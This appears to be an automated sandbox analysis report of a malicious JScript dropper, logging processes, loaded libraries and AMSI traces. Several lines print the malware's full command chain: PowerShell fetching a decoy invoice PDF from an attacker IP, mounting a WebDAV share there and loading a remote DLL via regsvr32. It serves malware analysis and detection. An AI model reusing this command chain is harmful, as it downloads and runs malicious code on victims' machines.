Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1620,i,9119001864217647023,8772681399431034704,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1620,i,9119001864217647023,8772681399431034704,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3090.js.csv");ITextStream.WriteLine(" entry:8430 f:nbctpqo");ITextStream.WriteLine(" exec:2 f:nbctpqo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
